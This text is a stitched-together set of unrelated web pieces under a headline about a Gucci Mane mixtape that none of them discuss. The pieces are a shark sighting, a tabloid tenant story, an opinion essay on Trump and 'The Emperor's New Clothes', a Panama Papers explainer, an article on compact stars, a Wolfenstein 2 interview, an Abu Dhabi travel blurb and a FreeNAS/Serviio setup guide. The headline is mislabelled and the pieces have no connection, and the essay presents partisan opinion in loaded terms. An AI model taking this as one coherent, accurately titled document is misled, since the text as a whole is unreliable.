Gucci Mane “I Am Trap” Release Date, Cover Art, Tracklist, Download & Mixtape Stream
-Santa Barbara County officials confirmed Monday afternoon that an estimated 10-foot-long shark was seen early Sunday morning offshore of Goleta Beach, the county’s most popular park.  According to Herman Parker, county community services director, a fisherman working the waters off of Goleta Beach spotted the shark “swimming out to sea” and subsequently reported it to authorities at the Santa Barbara Harbor. Upon learning of the sighting, harbor officials contacted the county, and, by the early afternoon, “swim at your own risk” warning signs had been posted at the beach.  As per county policy, the signs will remain up for at least 72 hours, after which time, as long as there are no additional sightings, they will be removed.  The Goleta encounter comes on the heels of multiple shark sightings in Santa Barbara and Carpinteria.
-Get the biggest daily stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email  A DIRTY tenant turned his home into a rubbish tip by cramming it with more than 1000 burger and Kentucky Fried Chicken cartons.  Landlord Chris Dowling couldn't believe his eyes, or nose, when confronted with the squalor the man had left behind.  The mountain of burger cartons, bags and other rubbish in the living room of the £100,000 flat was so huge that Chris struggled to force his way through it.  More McDonald's and KFC cartons were piled high around the bed.  It's thought the tenant had eaten his way through £5000 worth of fast-food.  And when Chris made it to the bathroom, he found that the tenant had left a giant heap of cigarette ends on the sink.  Chris, 57, said: "In 15 years of running properties I've never come across anything like this - and we see all sorts.  "The tenant had also been smoking without opening windows and there were nicotine stains dripping from the walls.  "It smelled like a giant ashtray. I can't imagine how anyone can live like that."  Chris's tenant, a mechanic, moved into the flat in Slough, Berkshire, in 2005 and always paid his £450-a-month rent.  His filthy lifestyle was exposed when bailiffs turned up at the flat to chase him for unpaid council tax. They alerted Chris, who went to inspect the flat but found the locks had been changed.  He wrote to the tenant telling him to get out and spoke to him on the phone last week.  Chris said: "He told me he had quit the flat. I told him the council were after him and he said he would sort that out."  Chris had to hire specialist cleaners who took a full vanload of rubbish from the studio flat. He has also had to pay to have the property redecorated.  But he insisted: "It hasn't put me off renting places out. I'll just take the hit."  Don Gorske, of Wisconsin, says he has eaten 23,000 of Big Macs burgers in 36 years. He has also kept every receipt.
-One striking aspect of the Trump Phenomenon is that his opponents impute to him many politically incorrect views that he hasn’t actually said. For example, Trump is widely assumed to be critical of affirmative action, but he actually favors it. When Justice Scalia offered the “mismatch” argument against affirmative action in college admissions last year, Trump criticized Scalia in the same terms as everybody else did.  What seems to be happening is that Trump has increasingly come to be seen as a sort of archetypal figure notorious for enjoying the freedom to tell the blunt truth without being fired. So much BS has piled up in our culture that our collective guilty consciences have enlarged Trump in the media imagination into a sort of all-purpose subversive truth-teller of Hatefacts.  Everybody else is terrified of being Watsoned out of a job for letting slip an Occamite explanation, but Trump can’t be fired because he’s the one who says “You’re fired.” Or something. (We’re dealing with archetypal logic here, so don’t expect tight causality.)  The classic fictional version of awkward honesty is the little child in “The Emperor’s New Clothes.” Hans Christian Andersen (1805-1875) wrote elegant pseudo-folk tales like The Ugly Duckling that are often confused with the genuine fairy tales collected and selected by the Grimm Brothers from multiple sources. One difference is that the real folk tales tend to be just plain strange — the Old, Weird Europe incarnate — while Andersen’s fairy tales make sense to modern adults. Indeed, Andersen’s “The Emperor’s New Clothes” sounds like proto-Orwell.  After I wrote that I thought: Let’s check to see if George Orwell himself noticed the connection. And, yup, it turns out that in 1943, two years before publishing Animal Farm, Orwell adapted “The Emperor’s New Clothes” for the BBC. The recording probably no longer exists — Orwell had it put on acetate disk, but lamented later that the disks were likely trashed — but the script at least is in a box in the Orwell papers archive.  Here’s a translation of the original (i.e., not the Orwell version):  The Emperor’s New Clothes  A translation of Hans Christian Andersen’s “Keiserens nye Klæder” by Jean Hersholt. Many years ago there was an Emperor so exceedingly fond of new clothes that he spent all his money on being well dressed. … Every day many strangers came to town, and among them one day came two swindlers. They let it be known they were weavers, and they said they could weave the most magnificent fabrics imaginable. Not only were their colors and patterns uncommonly fine, but clothes made of this cloth had a wonderful way of becoming invisible to anyone who was unfit for his office, or who was unusually stupid.  The more things change, the more they stay the same.  “Those would be just the clothes for me,” thought the Emperor. “If I wore them I would be able to discover which men in my empire are unfit for their posts. And I could tell the wise men from the fools.  Most people are afraid of being fired and those who aren’t (e.g., tenured professors) are afraid of being called stupid.  Yes, I certainly must get some of the stuff woven for me right away.” He paid the two swindlers a large sum of money to start work at once. They set up two looms and pretended to weave, though there was nothing on the looms. All the finest silk and the purest gold thread which they demanded went into their traveling bags, while they worked the empty looms far into the night. “I’d like to know how those weavers are getting on with the cloth,” the Emperor thought, but he felt slightly uncomfortable when he remembered that those who were unfit for their position would not be able to see the fabric. It couldn’t have been that he doubted himself, yet he thought he’d rather send someone else to see how things were going. The whole town knew about the cloth’s peculiar power, and all were impatient to find out how stupid their neighbors were. “I’ll send my honest old minister to the weavers,” the Emperor decided. “He’ll be the best one to tell me how the material looks, for he’s a sensible man and no one does his duty better.” So the honest old minister went to the room where the two swindlers sat working away at their empty looms. “Heaven help me,” he thought as his eyes flew wide open, “I can’t see anything at all”. But he did not say so. Both the swindlers begged him to be so kind as to come near to approve the excellent pattern, the beautiful colors. They pointed to the empty looms, and the poor old minister stared as hard as he dared. He couldn’t see anything, because there was nothing to see. “Heaven have mercy,” he thought. “Can it be that I’m a fool? I’d have never guessed it, and not a soul must know. Am I unfit to be the minister? It would never do to let on that I can’t see the cloth.” … The Emperor presently sent another trustworthy official to see how the work progressed and how soon it would be ready. The same thing happened to him that had happened to the minister. He looked and he looked, but as there was nothing to see in the looms he couldn’t see anything. “Isn’t it a beautiful piece of goods?” the swindlers asked him, as they displayed and described their imaginary pattern. “I know I’m not stupid,” the man thought, “so it must be that I’m unworthy of my good office. That’s strange. I mustn’t let anyone find it out, though.” So he praised the material he did not see. … All the town was talking of this splendid cloth, and the Emperor wanted to see it for himself while it was still in the looms. Attended by a band of chosen men, among whom were his two old trusted officials-the ones who had been to the weavers-he set out to see the two swindlers. He found them weaving with might and main, but without a thread in their looms. “Magnificent,” said the two officials already duped. “Just look, Your Majesty, what colors! What a design!” They pointed to the empty looms, each supposing that the others could see the stuff. “What’s this?” thought the Emperor. “I can’t see anything. This is terrible! Am I a fool? Am I unfit to be the Emperor? What a thing to happen to me of all people! – Oh! It’s very pretty,” he said. “It has my highest approval.” And he nodded approbation at the empty loom. Nothing could make him say that he couldn’t see anything. His whole retinue stared and stared. One saw no more than another, but they all joined the Emperor in exclaiming, “Oh! It’s very pretty,” and they advised him to wear clothes made of this wonderful cloth especially for the great procession he was soon to lead. … So off went the Emperor in procession under his splendid canopy. Everyone in the streets and the windows said, “Oh, how fine are the Emperor’s new clothes! Don’t they fit him to perfection? And see his long train!” Nobody would confess that he couldn’t see anything, for that would prove him either unfit for his position, or a fool. No costume the Emperor had worn before was ever such a complete success. “But he hasn’t got anything on,” a little child said. “Did you ever hear such innocent prattle?” said its father. And one person whispered to another what the child had said, “He hasn’t anything on. A child says he hasn’t anything on.” “But he hasn’t got anything on!” the whole town cried out at last. The Emperor shivered, for he suspected they were right. But he thought, “This procession has got to go on.” So he walked more proudly than ever, as his noblemen held high the train that wasn’t there at all.  Interestingly, Andersen leaves open at the end the possibility that the Emperor can bluff it out. In cartoon versions, in my half-century old recollection, the Emperor walking on is presented as pure humiliation for him. But Andersen’s ending is indeterminate, with the possibility left open that the power structure just might be able to fake their way past the skepticism.  The dissident anthropologists Lionel Tiger and Robin Fox (who, despite their children’s lit names, are real people) point out that the psychology of the town coming to believe the child is implausible: 99% of the time the crowd would viciously denounce the little child as particularly stupid and unworthy of his job as a little child.  But what if he were an … unusual child? What if the child had such an adamantine ego that nobody could hush him up? What if he were Little Donnie Trump?
-Image copyright Reuters Image caption Nawaz Sharif has survived one court ruling but now faces a fresh investigation  The leak of 11 million documents held by the Panama-based law firm Mossack Fonseca identified links between many political and business leaders around the world and offshore companies and accounts. Among them was the Pakistani prime minister's family.  The Pakistani Supreme Court has now ordered an investigation into their affairs by a joint team of civil and military investigation agencies, as the BBC's M Ilyas Khan explains.  What did the Panama Papers reveal?  The leaks in April 2016 revealed that three of Pakistani Prime Minister Nawaz Sharif's children owned offshore companies and assets not shown on his family's wealth statement.  The companies identified so far include three British Virgin Islands-based companies Nescoll Ltd, Nielsen Enterprises Ltd and Hangon Property Holdings Ltd, incorporated in 1993, 1994 and 2007 respectively.  These companies have been used to channel funds to acquire foreign assets, including some apartments along Park Lane in London's Mayfair area.  The insinuation that the companies were meant to hide or launder ill-gotten wealth or to avoid taxes called his credentials into question.  Image copyright AFP Image caption The Panama revelations led to protests around the world - and, here in Iceland, the resignation of the prime minister  What does Mr Sharif say?  Mr Sharif and his family have denied wrongdoing. In November, they told the Supreme Court that their London property was bought through investments in companies owned by the Qatari ruling family.  The prime minister has called the leaks the work of people "targeting me and my family for their political aims". In an address to the nation on 5 April 2016, he said those "who use ill-gotten wealth don't keep assets in their own names".  Initially, however, the leaks appeared to trigger panic in the top circles of the ruling PML-N party. The pressure was believed to be the reason behind Mr Sharif's unscheduled departure for London on 13 April 2016 to keep a rare appointment with his doctors.  This week, the sudden emergence of billboards supporting the prime minister and his government in parts of Punjab and Sindh provinces was seen by many as an attempt to whip up public support in case of an adverse ruling by the Supreme Court.  The prime minister has not yet commented on the Supreme Court's decision, but his top aides have called it a victory for the ruling party, which had proposed a judiciary-led investigation at the start.  Image copyright Reuters Image caption Supporters of Nawaz Sharif welcomed the court's decision not to remove him from office  How did the Supreme Court ruling come about?  The ruling came at the end of a year-long process in which the court examined thousands of pages of evidence and heard lengthy arguments by lawyers from both sides.  The Panama Papers leaks came at a time when Mr Sharif's government was still recovering from the 2014 siege of Islamabad by opposition politician Imran Khan which kept the federal capital paralysed for four months.  Back then it was believed that some elements in the security establishment were backing the protests to prevent Mr Sharif from taking domestic and foreign policy initiatives independently of the military.  With the Panama leaks hitting the headlines, the government again come under pressure from Mr Khan and smaller groups who demanded his resignation and threatened another lockdown of Islamabad.  They filed petitions at the Supreme Court for the prime minister to be disqualified.  After initially rejecting the petitions on the grounds that they were based more on hearsay than facts, the Supreme Court constituted a five-member bench in October 2016 to start hearings in the case.  Image copyright AP Image caption Opposition politician Imran Khan wants Mr Sharif to resign  What did the Supreme Court say and what happens next?  In its ruling the court stopped short of removing Mr Sharif from public office. Instead, it has ordered investigators drawn from civilian investigation agencies and military intelligence services to examine the money trail, look at records where available and obtain testimony from key players.  The team - in front of whom the prime minister and his children have been ordered to appear - will submit its report to the court in two months' time.  Critics believe two months is too short for the team to conduct an investigation that takes in Pakistan, the UAE, Qatar and the UK, not to mention Panama. They also point out that two judges out of five, including the chief justice of Pakistan, suggested that the prime minister be disqualified.  Many opposition leaders, including former President Asif Zardari and Imran Khan, have suggested the prime minister should resign as a fair investigation is not possible if he remains in power.  Has the episode weakened Mr Sharif?  Speculation that a ruling in the case could put Mr Sharif in immediate trouble and bring forward elections due in 2018 has eased for now.  But the verdict has not eased the air of acrimony that has marred Pakistani politics since 2014.  The fact that the court has not cleared the prime minister's name and has directed him to appear before investigators will be used by the opposition to chip away at his legitimacy and personal integrity.  Allegations of corruption have chased Mr Sharif since the 1980s. And much of what the Panama Papers have revealed now was the subject of a federal inquiry in the mid-1990s.  Mr Sharif ordered that inquiry closed when he came into power in 1997, calling it "politically motivated". But this time he and his family have had to acknowledge they used offshore companies to acquire foreign assets.  The petitioners, meanwhile, led by Mr Khan, have not fared much better. They will continue to be taunted by the prime minister's camp that they entertained politically motivated charges that they could not prove in court.  As of now, the air of acrimony is likely to continue and even worsen when the investigators begin their work. And all this is happening at a time when the government has lost much of its territory to the military and elections are approaching.
-Not to be confused with dwarf star  In astronomy, the term "compact star" (or "compact object") refers collectively to white dwarfs, neutron stars, and black holes. It would grow to include exotic stars if such hypothetical dense bodies are confirmed.  Most compact stars are the endpoints of stellar evolution, and thus often referred to as stellar remnants, the form of the remnant depending primarily on the mass of the star when it formed. All of these objects have a high mass relative to their radius, giving them a very high density. The term compact star is often used when the exact nature of the star is not known, but evidence suggests that it is very massive and has a small radius, thus implying one of the above-mentioned categories. A compact star that is not a black hole may be called a degenerate star.  Formation [ edit ]  The usual endpoint of stellar evolution is the formation of a compact star.  Most stars will eventually come to a point in their evolution when the outward radiation pressure from the nuclear fusions in its interior can no longer resist the ever-present gravitational forces. When this happens, the star collapses under its own weight and undergoes the process of stellar death. For most stars, this will result in the formation of a very dense and compact stellar remnant, also known as a compact star.  Compact stars have no internal energy production, but will—with the exception of black holes—usually radiate for millions of years with excess heat left from the collapse itself.[1]  According to the most recent understanding, compact stars could also form during the phase separations of the early Universe following the Big Bang.[citation needed] Primordial origins of known compact objects have not been determined with certainty.  Lifetime [ edit ]  Although compact stars may radiate, and thus cool off and lose energy, they do not depend on high temperatures to maintain their structure, as ordinary stars do. Barring external disturbances and proton decay, they can persist virtually forever. Black holes are however generally believed to finally evaporate from Hawking radiation after trillions of years. According to our current standard models of physical cosmology, all stars will eventually evolve into cool and dark compact stars, by the time the Universe enters the so-called degenerate era in a very distant future.  The somewhat wider definition of compact objects often includes smaller solid objects such as planets, asteroids, and comets. There is a remarkable variety of stars and other clumps of hot matter, but all matter in the Universe must eventually end as some form of compact stellar or substellar object, according to the theory of thermodynamics.  White dwarfs [ edit ]  The Eskimo Nebula is illuminated by the white dwarf at its center.  The stars called white or degenerate dwarfs are made up mainly of degenerate matter; typically carbon and oxygen nuclei in a sea of degenerate electrons. White dwarfs arise from the cores of main-sequence stars and are therefore very hot when they are formed. As they cool they will redden and dim until they eventually become dark black dwarfs. White dwarfs were observed in the 19th century, but the extremely high densities and pressures they contain were not explained until the 1920s.  The equation of state for degenerate matter is "soft", meaning that adding more mass will result in a smaller object. Continuing to add mass to what is now a white dwarf, the object shrinks and the central density becomes even larger, with higher degenerate-electron energies. The star's radius has now shrunk to only a few thousand kilometers, and the mass is approaching the theoretical upper limit of the mass of a white dwarf, the Chandrasekhar limit, about 1.4 times the mass of the Sun ( M ☉ ).  If we were to take matter from the center of our white dwarf and slowly start to compress it, we would first see electrons forced to combine with nuclei, changing their protons to neutrons by inverse beta decay. The equilibrium would shift towards heavier, neutron-richer nuclei that are not stable at everyday densities. As the density increases, these nuclei become still larger and less well-bound. At a critical density of about 4×1014 kg/m3), called the neutron drip line, the atomic nucleus would tend to fall apart into protons and neutrons. Eventually we would reach a point where the matter is on the order of the density (c. 2×1017 kg/m3) of an atomic nucleus. At this point the matter is chiefly free neutrons, with a small amount of protons and electrons.  Neutron stars [ edit ]  In certain binary stars containing a white dwarf, mass is transferred from the companion star onto the white dwarf, eventually pushing it over the Chandrasekhar limit. Electrons react with protons to form neutrons and thus no longer supply the necessary pressure to resist gravity, causing the star to collapse. If the center of the star is composed mostly of carbon and oxygen then such a gravitational collapse will ignite runaway fusion of the carbon and oxygen, resulting in a Type Ia supernova that entirely blows apart the star before the collapse can become irreversible. If the center is composed mostly of magnesium or heavier elements, the collapse continues.[2][3][4] As the density further increases, the remaining electrons react with the protons to form more neutrons. The collapse continues until (at higher density) the neutrons become degenerate. A new equilibrium is possible after the star shrinks by three orders of magnitude, to a radius between 10 and 20 km. This is a neutron star.  Although the first neutron star was not observed until 1967 when the first radio pulsar was discovered, neutron stars were proposed by Baade and Zwicky in 1933, only one year after the neutron was discovered in 1932. They realized that because neutron stars are so dense, the collapse of an ordinary star to a neutron star would liberate a large amount of gravitational potential energy, providing a possible explanation for supernovae.[5][6][7] This is the explanation for supernovae of types Ib, Ic, and II. Such supernovae occur when the iron core of a massive star exceeds the Chandrasekhar limit and collapses to a neutron star.  Like electrons, neutrons are fermions. They therefore provide neutron degeneracy pressure to support a neutron star against collapse. In addition, repulsive neutron-neutron interactions[citation needed] provide additional pressure. Like the Chandrasekhar limit for white dwarfs, there is a limiting mass for neutron stars: the Tolman-Oppenheimer-Volkoff limit, where these forces are no longer sufficient to hold up the star. As the forces in dense hadronic matter are not well understood, this limit is not known exactly but is thought to be between 2 and 3 M ☉ . If more mass accretes onto a neutron star, eventually this mass limit will be reached. What happens next is not completely clear.  Black holes [ edit ]  A simulated black hole of ten solar masses, at a distance of 600km.  As more mass is accumulated, equilibrium against gravitational collapse reaches its breaking point. The star's pressure is insufficient to counterbalance gravity and a catastrophic gravitational collapse occurs in milliseconds. The escape velocity at the surface, already at least 1/3 light speed, quickly reaches the velocity of light. No energy nor matter can escape: a black hole has formed. All light will be trapped within an event horizon, and so a black hole appears truly black, except for the possibility of Hawking radiation. It is presumed that the collapse will continue.  In the classical theory of general relativity, a gravitational singularity occupying no more than a point will form. There may be a new halt of the catastrophic gravitational collapse at a size comparable to the Planck length, but at these lengths there is no known theory of gravity to predict what will happen. Adding any extra mass to the black hole will cause the radius of the event horizon to increase linearly with the mass of the central singularity. This will induce certain changes in the properties of the black hole, such as reducing the tidal stress near the event horizon, and reducing the gravitational field strength at the horizon. However, there will not be any further qualitative changes in the structure associated with any mass increase.  Alternative black hole models [ edit ]  Exotic stars [ edit ]  An exotic star is a hypothetical compact star composed of something other than electrons, protons, and neutrons balanced against gravitational collapse by degeneracy pressure or other quantum properties. These include strange stars (composed of strange matter) and the more speculative preon stars (composed of preons).  Exotic stars are hypothetical, but observations released by the Chandra X-Ray Observatory on April 10, 2002 detected two candidate strange stars, designated RX J1856.5-3754 and 3C58, which had previously been thought to be neutron stars. Based on the known laws of physics, the former appeared much smaller and the latter much colder than they should, suggesting that they are composed of material denser than neutronium. However, these observations are met with skepticism by researchers who say the results were not conclusive.[citation needed]  Quark stars and strange stars [ edit ]  If neutrons are squeezed enough at a high temperature, they will decompose into their component quarks, forming what is known as a quark matter. In this case, the star will shrink further and become denser, but instead of a total collapse into a black hole, it is possible, that the star may stabilize itself and survive in this state indefinitely, as long as no extra mass is added. It has, to some extent, become a very large nucleon. A-type star in this hypothetical state is called a quark star or more specifically a strange star. The pulsars RX J1856.5-3754 and 3C58 have been suggested as possible quark stars. Most neutron stars are thought to hold a core of quark matter, but it has proven hard to determine observationally.  Preon stars [ edit ]  A preon star is a proposed type of compact star made of preons, a group of hypothetical subatomic particles. Preon stars would be expected to have huge densities, exceeding 1023 kilogram per cubic meter – intermediate between quark stars and black holes. Preon stars could originate from supernova explosions or the Big Bang; however, current observations from particle accelerators speak against the existence of preons.[citation needed]  Q stars [ edit ]  Q stars are hypothetical compact, heavier neutron stars with an exotic state of matter where particle numbers are preserved with radii less than 1.5 times the corresponding Schwarzschild radius. Q stars are also called "gray holes".  Electroweak stars [ edit ]  An electroweak star is a theoretical type of exotic star, whereby the gravitational collapse of the star is prevented by radiation pressure resulting from electroweak burning, that is, the energy released by conversion of quarks to leptons through the electroweak force. This process occurs in a volume at the star's core approximately the size of an apple, containing about two Earth masses.[9]  Boson star [ edit ]  A boson star is a hypothetical astronomical object that is formed out of particles called bosons (conventional stars are formed out of fermions). For this type of star to exist, there must be a stable type of boson with repulsive self-interaction. As of 2016 there is no significant evidence that such a star exists. However, it may become possible to detect them by the gravitational radiation emitted by a pair of co-orbiting boson stars.[10][11]  Compact relativistic objects and the generalized uncertainty principle [ edit ]  Based on the generalized uncertainty principle (GUP), proposed by some approaches to quantum gravity such as string theory and doubly special relativity, the effect of GUP on the thermodynamic properties of compact stars with two different components has been studied, recently.[12] Tawfik et al. noted that the existence of quantum gravity correction tends to resist the collapse of stars if the GUP parameter is taking values between Planck scale and electroweak scale. Comparing with other approaches, it was found that the radii of compact stars should be smaller and increasing energy decreases the radii of the compact stars.  References [ edit ]
-When Wolfenstein: The New Order released in 2014, it was just another shooting game. A bloody excellent shooting game, yes, but in terms of its reception in the greater, non-gaming world: a non-event.  Fast forward to 2017, and Wolfenstein 2: The New Colossus is attracting a fair bit more attention than its predecessor did pre-release—especially off the back of last week's "Make America Nazi-Free Again" trailer. It's doing so because, at a time when racist intolerance and bigotry is alarmingly foregrounded in American life, "embracing an anti-Nazi stance" can, in some quarters—unaccountably, scarily—appear quite brave.  Bethesda's Pete Hines made his company's vehemently anti-Nazi stance explicit last week, while also adding that Wolfenstein 2's depiction of a United States ruled by a fascist regime is a "pure coincidence". But it's still a timely game, disturbingly enough, and I sat down with its creative director Jens Matthies to talk about this stuff, as well as a bunch more.  JENS MATTHIES Jens is the creative director of Wolfenstein 2: The New Colossus, as well as its predecessor The New Order. He's also a co-founder of Machine Games.  PC Gamer: You might not have the figures on hand, but a lot of Nazis die in this game. How many roughly? Can you give us a figure?  Jens Matthies: I can probably give you a figure but I have to think about that.  [Jens picks up his phone and, after a minute of complete silence, continues.]  I would say, close to a thousand. That’s what I think. That’s a little bit speculative, but in the neighbourhood of one thousand. Let me revise that: I mean about a thousand personal kills, but then there are a few thousand impersonal kills as well.  I’m happy with that figure. When The New Order came out it wasn’t such a big deal that you were mowing down Nazis in a video game en masse. But in 2017 it is. Pete Hines even addressed it directly last week. What’s your personal response to Wolfenstein suddenly being a cathartic and timely game, given the current political environment?  JM: Well, it is quite a coincidence because that’s actually the theme of the game: catharsis, in terms of the narrative. While I don’t think it’s ever a good thing to have Nazis marching anywhere in the real world, if a feeling of catharsis is what you’re after, then this game is for you.  Nazis have come to be a kind of generic comic evil in games, in the same vein as zombies. Until recently we’ve felt so remote from that history that we can just mindlessly kill them. But I was wondering, speculatively, if you were to make a third instalment, would you address the depiction of Nazis or go about the narrative any differently?  JM: No. We feel very strongly about the stories that we’re telling. This game is painted on a very grand canvas: it’s over the top and it’s bombastic and it’s pulpy. But it’s also... we never wanted to undermine or make light of what Nazi ideology is actually about. So even though we’re sort of representing it in this larger-than-life canvas, it’s not a cartoon in that sense.  We feel like that’s something we established with the first game and continue in this game. If we get the privilege of making the third entry in the trilogy, that’s what we’d continue to do. If you’re all the time worrying about the world and what other people are thinking and saying, then you stop being a good creative.  The tone is pulpy, but one of the things that elevated The New Order, and made it easier to engage with, is the fact that the characters had humanity about them—particularly, surprisingly, BJ. Are there any film makers that inspire MachineGames?  JM: Oh yeah. That’s always what we’re going for, that juxtaposition of things that are very over the top with things that are incredibly intimate and domestic and normal. And we love those authentic feeling relationships—that’s what we want the game to be about. Examples of that are the original RoboCop, which has that vibe. More than anything else, I think that’s an inspiration to me personally because seeing that as a kid was a formative experience. There are other examples: District 9 straddles that line as well, maybe Guardians of the Galaxy, though that’s extremely humorous in a way that we’re not really. Our humor is a lot darker, but it’s still on that spectrum. And of course some Tarantino movies are like that too.  One of the interesting things about Wolfenstein is that it’s marketed as this heavy duty cathartic shooting game, but it’s actually quite tough. It’s a really challenging game.  JM: Of course it is, depending on your difficulty settings. I mean, if you just want to experience the story you can just dial down the difficulty and more or less walk through it. But it’s always more fun, we feel, especially in a game with real old school merits, if it’s a real challenge. It also leads to players needing to think creatively, in ways that many games don’t allow you to do nowadays. If you run into a challenge that’s tricky to overcome, that means you need to re-examine the situation. Maybe if I try it in this order, and use these weapons, and maybe even sneak for a bit and then do this… this is the kind of game where you have a lot of those tools and options, and the combat areas are open to a lot of exploration and approaches. You can observe and figure them out, and most have a certain logic to them. So in order to encourage that kind of gameplay it has to be a little hard, and you have to die a few times just to probe the problem and figure it out.  I’m put in mind of Hotline Miami—you have to figure out a wise sequence, it has a puzzle dynamic.  JM: Yeah, and if that’s not for you you can turn down the difficulty and be more straightforward in your approach. But for the standard experience, you want that cerebral dimension of it, where it’s not just about going through the paces but actually figuring the problem out.  You’re using a new engine, and it seems to me it’d take a lot of effort to basically create the game afresh.  JM: Oh yeah. Oooh yeah.  But you’ve still retained the feel of the weaponry. There’s a certain quality that has carried over.  JM: We were extremely happy with what we accomplished in The New Order. We felt that was a good, really strong feeling of Wolfenstein. So for sure we wanted to preserve that, but also kick it up to the next level. We really wanted to get back to having a full body model, because in New Order you were basically a disembodied arm / gun / first-person model. So if you look down you have no legs. But in this game it’s a full body model, which in itself is incredibly much more work, but we have a dedicated team who is super passionate about the first-person experience.  Were there any overarching philosophies regarding the shooting approach? Obviously it feels different to anything else, but in subtle ways. What were the guiding values?  JM: It’s interesting because I don’t think I’ve ever put words to it before, but we always wanted to be just, I guess, meatier, and just fucking… more heavy metal than anything else. So our stated goal was that we wanted to reach the level where this was the best first-person experience you can have in terms of combat and movement. I’m very happy with how it came out because it’s very noticeable that if you play The New Colossus for a few hours and then you start playing something else, everything feels a lot different. So yeah, I think we’re evolving with what we did with The New Order to a new level.  Do you think it helps your gunplay that multiplayer isn’t a factor? Could it work in multiplayer?  JM: I’m sure it could, but I’m sure there would be problems as well. But for sure, having everyone focused on the same problem is what historically has always resulted in our best work. So that’s always what we’ve tried to do and that’s why we don’t do multiplayer. But I think if we did do multiplayer, I’m sure we could get to something of that same level.  I like that The New Colossus feels like a filmic sequel—it’s not about just adding stuff, like so many game sequels are, it’s a new story. Has there been any desire to do stuff like that, add an open world, add more stuff?  JM: I don’t know, we constantly think about stuff that we want to do and I wouldn’t at all be opposed to doing different formats. But of course, we have this… I wouldn’t say that we have this story that we want to tell—we do of course—but it’s more than that. We have an experience that we want to create. We always envisioned it as a trilogy, and so if we get to do one more, if the game does well enough to motivate that, then I can guarantee that it will be a worthy sequel. How that shapes out and what its form is, we’d have to see.  What’s your relationship with the first Wolfenstein 3D? Do you resort to it as a primary, kind of bibilcal text? Or have things moved on so much that it barely factors in?  JM: No way, to us that’s the foundation with our approach to Wolfenstein. It’s not biblical in the sense that we’re being literalist about it, but the ethos that propelled and created Wolfenstein 3D is what we’re literal about. Analysing what went on there, this was id Software coming into their own, having broken away from wherever they were before and barely in their teens, sitting in some apartment somewhere making these things that no one else is making. That people don’t even think is possible. That’s what they’re doing and they’re just forcing their totally unrestricted creativity into that project, and that’s what we wanted to go for: if we think it’s a cool idea and it belongs in the game, it goes into the game. We don’t try to censor ourselves and say “would that really fit with blah blah”. That doesn’t mean we don’t want to make it credible in the game world, we care about that stuff, but we don’t put any boundaries on ourselves. So that’s what we’re trying to carry on.
-Abu Dhabi: reasons to visit now  Motor racing, contemporary art fairs, sailing, beaches and winter sun... There has never been a better time to visit the cultural capital of the UAE. By Laura Fowler  One result of the Arab Spring is that the UAE has become a more popular Middle-East destination than ever, with its capital, Abu Dhabi, gaining a reputation as a hub of culture, sport and leisure.  Among other highlights in coming months: the F1 Grand Prix and Volvo Ocean Race are swinging by on their world tours, Norman Foster has designed a futuristic pavilion for Abu Dhabi Art as well as a stylish shopping mall, Frank Gehry is working on the world's third Guggenheim and there's even a new Louvre planned for completion in the next couple of years. There are also beaches and an astonishing number of big hotel openings taking place this year and next - plus winter sun, less than seven hours away.
-Here are my instructions for creating a FreeNAS Jail with Serviio 1.1 running inside it. This uses no FreeNAS plugins whatsoever and takes full advantage of all the power that comes with having a FreeBSD core running at the heart of FreeNAS 8.3.  Install a plugin Jail as per the instructions available on the FreeNAS wiki here and start the Jail running. Create a user on your FreeNAS for yourself, e.g. MYUSER Enable SSH on your FreeNAS and SSH into your FreeNAS install using your client of choice. Execute the following commands: SU root jexec 1 csh mkdir /home adduser When prompted by adduser follow the instructions on-screen to create a user that matches the user you created in Step 2. Make sure that the Uid matches the user you created in Step 2. If you are not sure what the Uid number is then look it up in the FreeNAS control panel. Here’s the example: Username: MYUSER  Full name: MYUSER  Uid (Leave empty for default): 1111  Login group [MYUSER]:  Login group is MYUSER. Invite MYUSER into other groups? []: wheel  Login class [default]:  Shell (sh csh tcsh nologin) [sh]: csh  Home directory [/home/MYUSER]:  Home directory permissions (Leave empty for default):  Use password-based authentication? [yes]:  Use an empty password? (yes/no) [no]:  Use a random password? (yes/no) [no]:  Enter password:  Enter password again:  Lock out the account after creation? [no]:Username : MYUSER  Password : *****  Full Name : MYUSER  Uid : 1111  Class :  Groups : MYUSER wheel  Home : /home/MYUSER  Home Mode :  Shell : /bin/csh  Locked : no  OK? (yes/no): yes  adduser: INFO: Successfully added (MYUSER) to the user database.  Add another user? (yes/no): no  Goodbye! Now we need to leave the jail and create a bridge between the FreeNAS internals and the jail. So logout of your SSH client and then turn off the jail in FreeNAS control panel. Then navigate to Services -> Plugins -> Management -> Mount Points and add a new mount point. Map a directory you can access regularly through FreeNAS as the directory /home/MYUSER within the jail. Turn the jail back on and restart your FreeNAS. SSH into your FreeNAS install using your client of choice. Execute the following commands [NB: This section will take some time to complete so set aside a couple of hours]: SU root jexec 1 csh portsnap fetch extract update Update 02 February 2013 To ensure that you have the new pkg program installed run: pkg -v If you don’t get a response of 1.0.7 or higher then run: cd /usr/ports/ports-mgmt/pkg/ && make install clean cd /usr/ports/ports-mgmt/portmaster/ && make install clean  Be sure to use the appropriate options for your system. If you’re not sure, check all the boxes.  echo ‘WITH_PKGNG=yes’ >> /etc/make.conf rehash pkg2ng portmaster -G editors/nano rehash cd /usr/ports/multimedia/ffmpeg1 make config Set the options so that they match the information shown in the Serviio wiki for building ffmpeg. This is complicated so follow the screenshots below: press ok cd /usr/ports/graphics/frei0r/ make config check Enable MMX CPU instructions then press ok portmaster -G multimedia/ffmpeg1 portmaster -G net/serviio nano /etc/hosts and add line [replacing Jailed with the name of your jail from the FreeNAS control panel]:  127.0.0.1 Jailed nano /etc/rc.conf and add lines:  serviio_enable=”YES”  serviio_args=”-Dserviio.remoteHost=192.168.0.100″ service serviio start You’re done. Serviio will now start-up on every boot. Login to it remotely and set up the directories you need as necessary! I heartily recommend using ServiiDroid for Android which is available here.
